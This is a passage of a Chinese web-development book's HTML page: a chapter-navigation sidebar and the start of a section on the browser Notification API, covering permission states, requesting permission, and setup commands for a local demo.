</a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"1-manifest-json.html\">\n            \n                <a href=\"1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"2-credentials-api.html\">\n            \n                <a href=\"2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.7.3\" data-path=\"3-notification-api.html\">\n            \n                <a href=\"3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"4-web-push-api.html\">\n            \n                <a href=\"4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"5-payment-request-api.html\">\n            \n                <a href=\"5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >6.3 桌面通知</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x684C;&#x9762;&#x901A;&#x77E5;\"><b></b>&#x684C;&#x9762;&#x901A;&#x77E5;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;\"><b></b>&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#notificationpermission\"><b></b>Notification.permission</a></li><li><span class=\"title-icon \"></span><a href=\"#notificationrequestpermission\"><b></b>Notification.requestPermission()</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x4E0E;&#x4EA4;&#x4E92;\"><b></b>&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x4E0E;&#x4EA4;&#x4E92;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5C55;&#x73B0;&#x914D;&#x7F6E;&#x9879;\"><b></b>&#x5C55;&#x73B0;&#x914D;&#x7F6E;&#x9879;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4EA4;&#x4E92;&#x914D;&#x7F6E;&#x9879;\"><b></b>&#x4EA4;&#x4E92;&#x914D;&#x7F6E;&#x9879;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4EA4;&#x4E92;&#x4E8B;&#x4EF6;\"><b></b>&#x4EA4;&#x4E92;&#x4E8B;&#x4EF6;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x5728;-service-worker-&#x7EBF;&#x7A0B;&#x4E2D;&#x5C55;&#x73B0;&#x901A;&#x77E5;\"><b></b>&#x5728; Service Worker &#x7EBF;&#x7A0B;&#x4E2D;&#x5C55;&#x73B0;&#x901A;&#x77E5;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5C55;&#x73B0;&#x901A;&#x77E5;\"><b></b>&#x5C55;&#x73B0;&#x901A;&#x77E5;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6DFB;&#x52A0;-actions\"><b></b>&#x6DFB;&#x52A0; Actions</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x901A;&#x77E5;&#x5173;&#x95ED;&#x4E8B;&#x4EF6;\"><b></b>&#x901A;&#x77E5;&#x5173;&#x95ED;&#x4E8B;&#x4EF6;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;\"><b></b>&#x901A;&#x77E5;&#x70B9;&#x51FB;&#x4E8B;&#x4EF6;</a></li></ul></ul></ul></div><a href=\"#&#x684C;&#x9762;&#x901A;&#x77E5;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x684C;&#x9762;&#x901A;&#x77E5;\"><a name=\"&#x684C;&#x9762;&#x901A;&#x77E5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x684C;&#x9762;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x684C;&#x9762;&#x901A;&#x77E5;\" class=\"plugin-anchor\" href=\"#&#x684C;&#x9762;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x684C;&#x9762;&#x901A;&#x77E5;</h1>\n<p>&#x5728; iOS &#x548C; Android &#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x4E2D;&#xFF0C;Native App &#x5411;&#x7528;&#x6237;&#x63A8;&#x9001;&#x901A;&#x77E5;&#x662F;&#x5F88;&#x5E38;&#x89C1;&#x7684;&#x884C;&#x4E3A;&#xFF0C;&#x8FD9;&#x662F;&#x91CD;&#x65B0;&#x5438;&#x5F15;&#x7528;&#x6237;&#x8BBF;&#x95EE;&#x5E94;&#x7528;&#x6700;&#x6709;&#x6548;&#x65B9;&#x6CD5;&#x4E4B;&#x4E00;&#x3002;&#x7136;&#x800C;&#x63A8;&#x9001;&#x901A;&#x77E5;&#x4E00;&#x76F4;&#x88AB;&#x8BA4;&#x4E3A;&#x662F; Web App &#x7F3A;&#x5C11;&#x7684;&#x80FD;&#x529B;&#xFF0C;&#x5728;&#x63A5;&#x4E0B;&#x6765;&#x7684;&#x4E24;&#x8282;&#x6211;&#x4EEC;&#x5C06;&#x4ECB;&#x7ECD; Web App &#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x63A8;&#x9001;&#x901A;&#x77E5;&#x3002;</p>\n<p>Notification API &#x662F; HTML5 &#x65B0;&#x589E;&#x7684;&#x4E00;&#x5957;&#x5C55;&#x793A;&#x684C;&#x9762;&#x901A;&#x77E5;&#x7684; API&#xFF0C;&#x684C;&#x9762;&#x901A;&#x77E5;&#x5177;&#x6709;&#x5168;&#x5C40;&#x6548;&#x679C;&#xFF0C;&#x5B83;&#x8131;&#x79BB;&#x4E86;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x91C7;&#x7528;&#x548C; Native App &#x76F8;&#x540C;&#x7684;&#x673A;&#x5236;&#x548C; UI&#xFF0C;&#x56E0;&#x6B64;&#x65E0;&#x8BBA;&#x7F51;&#x9875;&#x662F;&#x5426;&#x6253;&#x5F00;&#xFF0C;&#x4E5F;&#x65E0;&#x8BBA;&#x6D4F;&#x89C8;&#x5668;&#x662F;&#x5426;&#x5728;&#x524D;&#x53F0;&#x5C55;&#x73B0;&#xFF0C;&#x53EA;&#x8981;&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x8FD0;&#x884C;&#xFF0C;&#x5C31;&#x80FD;&#x591F;&#x5411;&#x7528;&#x6237;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#x3002;</p>\n<p>&#x5E94;&#x7528;&#x901A;&#x77E5;&#x4E3B;&#x8981;&#x6709;&#x4E24;&#x79CD;&#x7C7B;&#x578B;&#xFF0C;&#x4E00;&#x7C7B;&#x662F;&#x7531;&#x5E94;&#x7528;&#x672C;&#x8EAB;&#x751F;&#x6210;&#x7684;&#x672C;&#x5730;&#x901A;&#x77E5;&#xFF0C;&#x53E6;&#x4E00;&#x7C7B;&#x63A8;&#x9001;&#x901A;&#x77E5;&#xFF0C;&#x662F;&#x7531;&#x670D;&#x52A1;&#x5668;&#x63A8;&#x9001;&#x4E8B;&#x4EF6;&#x751F;&#x6210;&#x3002;&#x5728;&#x672C;&#x8282;&#x4E2D;&#x4E3B;&#x8981;&#x5148;&#x7B80;&#x5355;&#x4ECB;&#x7ECD;&#x5982;&#x4F55;&#x4F7F;&#x7528; Notification API &#x8FDB;&#x884C;&#x672C;&#x5730;&#x901A;&#x77E5;&#xFF0C;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x5728;&#x4E0B;&#x4E00;&#x8282;&#x4E2D;&#x4F1A;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x3002;</p>\n<p>&#x5728;&#x672C;&#x8282;&#x4E2D;&#x6211;&#x4EEC;&#x5C06;&#x63D0;&#x4F9B;&#x7B80;&#x5355;&#x7684;&#x901A;&#x77E5;&#x793A;&#x4F8B;&#xFF0C;&#x5C55;&#x793A;&#x4F7F;&#x7528; Notification API &#x901A;&#x77E5;&#x7528;&#x6237;&#x3002;&#x5728;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x8FD0;&#x884C;&#x5982;&#x4E0B;&#x547D;&#x4EE4;&#xFF0C;&#x4E0B;&#x8F7D;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x4ECE; GitHub &#x4E0B;&#x8F7D;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730; pwa-book-demo &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">git</span> clone https://github.com/lavas-project/pwa-book-demo.git\n\n<span class=\"token comment\"># &#x8FDB;&#x5165;&#x5230; chapter06/notification &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">cd</span> chapter06/notification\n\n<span class=\"token comment\"># &#x5B89;&#x88C5; npm &#x4F9D;&#x8D56;</span>\n$ <span class=\"token function\">npm</span> <span class=\"token function\">install</span>\n\n<span class=\"token comment\"># &#x5B89;&#x88C5;&#x6210;&#x529F;&#x540E;&#x542F;&#x52A8; chapter06/notification &#x793A;&#x4F8B;</span>\n$ <span class=\"token function\">npm</span> run server\n</code></pre>\n<p>&#x5728;&#x770B;&#x5230;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x8F93;&#x51FA; <code>Server start on: http://127.0.0.1:8088</code>&#xFF0C;&#x610F;&#x5473;&#x7740;&#x5DF2;&#x7ECF;&#x6210;&#x529F;&#x542F;&#x52A8;&#x3002;</p>\n<h2 id=\"&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;\"><a name=\"&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;\" class=\"plugin-anchor\" href=\"#&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;</h2>\n<p>&#x4E3A;&#x907F;&#x514D;&#x7F51;&#x7AD9;&#x6EE5;&#x7528; Notification &#x7ED9;&#x7528;&#x6237;&#x9020;&#x6210;&#x5F71;&#x54CD;&#xFF0C;&#x5728;&#x5C55;&#x793A;&#x684C;&#x9762;&#x901A;&#x77E5;&#x4E4B;&#x524D;&#xFF0C;&#x9996;&#x5148;&#x9700;&#x8981;&#x5411;&#x7528;&#x6237;&#x83B7;&#x53D6;&#x901A;&#x77E5;&#x6743;&#x9650;&#xFF0C;&#x53EA;&#x6709;&#x83B7;&#x5F97;&#x7528;&#x6237;&#x6388;&#x6743;&#x4E4B;&#x540E;&#xFF0C;Notification API &#x624D;&#x4F1A;&#x751F;&#x6548;&#x3002;&#x5BF9;&#x4E8E;&#x540C;&#x4E00;&#x4E2A;&#x57DF;&#x540D;&#x4E0B;&#x7684;&#x7F51;&#x9875;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x83B7;&#x53D6;&#x4E00;&#x6B21;&#x6388;&#x6743;&#x5373;&#x53EF;&#x3002;&#x90A3;&#x4E48;&#xFF0C;&#x5982;&#x4F55;&#x77E5;&#x9053;&#x5F53;&#x524D;&#x7AD9;&#x70B9;&#x662F;&#x5426;&#x5DF2;&#x7ECF;&#x88AB;&#x6388;&#x6743;&#xFF1F;</p>\n<h3 id=\"notificationpermission\"><a name=\"notificationpermission\" class=\"anchor-navigation-ex-anchor\" href=\"#notificationpermission\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"notificationpermission\" class=\"plugin-anchor\" href=\"#notificationpermission\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Notification.permission</h3>\n<p><code>Notification.permission</code> &#x662F; <code>Notification</code> &#x7684;&#x9759;&#x6001;&#x5C5E;&#x6027;&#xFF0C;&#x4EE3;&#x8868;&#x901A;&#x77E5;&#x6743;&#x9650;&#x7684;&#x6388;&#x6743;&#x72B6;&#x6001;&#xFF0C;&#x53D6;&#x503C;&#x5305;&#x62EC;&#xFF1A;</p>\n<ul>\n<li>granted&#xFF1A;&#x5141;&#x8BB8;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#xFF1B;</li>\n<li>denied&#xFF1A;&#x7981;&#x6B62;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#xFF1B;</li>\n<li>default&#xFF1A;&#x7528;&#x6237;&#x5C1A;&#x672A;&#x6388;&#x6743;&#xFF0C;&#x6B64;&#x65F6;&#x7981;&#x6B62;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#xFF0C;&#x4F46;&#x53EF;&#x4EE5;&#x5411;&#x7528;&#x6237;&#x53D1;&#x9001;&#x6388;&#x6743;&#x7533;&#x8BF7;&#x3002;</li>\n</ul>\n<p>&#x5728;&#x4F7F;&#x7528;&#x684C;&#x9762;&#x901A;&#x77E5;&#x4E4B;&#x524D;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8FD9;&#x4E2A;&#x5C5E;&#x6027;&#x9996;&#x5148;&#x5224;&#x65AD;&#x7528;&#x6237;&#x6388;&#x6743;&#x72B6;&#x6001;&#xFF0C;&#x518D;&#x53BB;&#x505A;&#x4E0B;&#x4E00;&#x6B65;&#x64CD;&#x4F5C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>Notification<span class=\"token punctuation\">.</span>permission <span class=\"token operator\">===</span> <span class=\"token string\">&apos;granted&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x7528;&#x6237;&#x5DF2;&#x6388;&#x6743;&#xFF0C;&#x53EF;&#x5C55;&#x793A;&#x901A;&#x77E5;</span>\n<span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>Notification<span class=\"token punctuation\">.</span>permission <span class=\"token operator\">===</span> <span class=\"token string\">&apos;denied&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x7528;&#x6237;&#x5DF2;&#x7981;&#x6B62;</span>\n<span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x7528;&#x6237;&#x5C1A;&#x672A;&#x6388;&#x6743;&#xFF0C;&#x9700;&#x9996;&#x5148;&#x5411;&#x7528;&#x6237;&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"notificationrequestpermission\"><a name=\"notificationrequestpermission\" class=\"anchor-navigation-ex-anchor\" href=\"#notificationrequestpermission\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"notificationrequestpermission\" class=\"plugin-anchor\" href=\"#notificationrequestpermission\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Notification.requestPermission()</h3>\n<p>&#x5F53;&#x7528;&#x6237;&#x5C1A;&#x672A;&#x8FDB;&#x884C;&#x6388;&#x6743;&#x65F6;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>Notification.requestPermission()</code> &#x9759;&#x6001;&#x65B9;&#x6CD5;&#x5411;&#x7528;&#x6237;&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;&#xFF0C;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">Notification<span class=\"token punctuation\">.</span><span class=\"token function\">requestPermission</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">permission</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x901A;&#x8FC7; permission &#x5224;&#x65AD;&#x7528;&#x6237;&#x7684;&#x9009;&#x62E9;&#x7ED3;&#x679C;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x51FD;&#x6570;&#xFF0C;&#x8FD4;&#x56DE; Promise &#x5BF9;&#x8C61;&#x3002;&#x5728;&#x8C03;&#x7528;&#x51FD;&#x6570;&#x7684;&#x540C;&#x65F6;&#xFF0C;&#x9875;&#x9762;&#x4F1A;&#x5F39;&#x51FA;&#x901A;&#x77E5;&#x6743;&#x9650;&#x8BF7;&#x6C42;&#x5BF9;&#x8BDD;&#x6846;&#x3002;&#x5728;&#x793A;&#x4F8B; <code>public/script/notification.js</code> &#x4E2D;&#xFF0C;&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x5173;&#x4E8E;&#x901A;&#x77E5;&#x6743;&#x9650;&#x5224;&#x65AD;&#x7684;&#x903B;&#x8F91;&#x3002;</p>\n<p>&#x6253;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x8BBF;&#x95EE; <code>http://127.0.0.1:8088</code> &#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5F39;&#x51FA;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x7684;&#x5F39;&#x7A97;&#x3002;</p>\n<p><img src=\"img/notification-permission.jpg\" alt=\"\b&#x8BF7;&#x6C42;&#x901A;&#x77E5;&#x6743;&#x9650;&#x6388;&#x6743;&#x6D4F;&#x89C8;&#x5668;&#x5F39;&#x7A97;&#x793A;&#x610F;&#x56FE;\"></p>\n<p>&#x7528;&#x6237;&#x53EF;&#x4EE5;&#x9009;&#x62E9; &#x201C;&#x5141;&#x8BB8;&#x201D;&#x3001;&#x201C;&#x7981;&#x6B62;&#x201D;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x70B9;&#x51FB;&#x5173;&#x95ED;&#x5BF9;&#x8BDD;&#x6846;&#xFF0C;&#x5206;&#x522B;&#x5BF9;&#x5E94; <code>granted</code>&#x3001;<code>denied</code> &#x548C; <code>default</code> &#x8FD9;&#x4E09;&#x79CD;&#x6388;&#x6743;&#x884C;&#x4E3A;&#xFF0C;&#x8FD9;&#x65F6; promise &#x5BF9;&#x8C61;&#x5C06; resolve &#x6388;&#x6743;&#x7ED3;&#x679C;&#xFF0C;&#x5E76;&#x4E14;&#x540C;&#x6B65;&#x66F4;&#x65B0; <code>Notification.permission</code> &#x7684;&#x503C;&#x3002;</p>\n<p>&#x5F53;&#x7528;&#x6237;&#x9009;&#x62E9; &#x201C;&#x5141;&#x8BB8;&#x201D; &#x6216; &#x201C;&#x7981;&#x6B62;&#x201D; &#x4E4B;&#x540E;&#xFF0C;&#x9009;&#x62E9;&#x7ED3;&#x679C;&#x4F1A;&#x88AB;&#x6D4F;&#x89C8;&#x5668;&#x8BB0;&#x5F55;&#x4E0B;&#x6765;&#xFF0C;&#x5E76;&#x5728;&#x4E0B;&#x6B21;&#x518D;&#x6B21;&#x8C03;&#x7528; <code>Notification.requestPermission()</code> &#x65F6;&#x5C06;&#x76F4;&#x63A5;&#x8FD4;&#x56DE;&#x8BE5;&#x7ED3;&#x679C;&#x3002;&#x56E0;&#x6B64;&#x4E00;&#x65E6;&#x7528;&#x6237;&#x9009;&#x62E9;&#x4E86; &#x201C;&#x7981;&#x6B62;&#x201D;&#xFF0C;&#x7AD9;&#x70B9;&#x5C06;&#x4E0D;&#x4F1A;&#x5141;&#x8BB8;&#x5C55;&#x793A;&#x901A;&#x77E5;&#xFF0C;&#x4E5F;&#x4E0D;&#x4F1A;&#x518D;&#x6B21;&#x5C55;&#x73B0;&#x6388;&#x6743;&#x63D0;&#x793A;&#x3002;Chrome &#x684C;&#x9762;&#x7248;&#x6D4F;&#x89C8;&#x5668;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8BBF;&#x95EE; <code>chrome://settings/content/notifications</code> 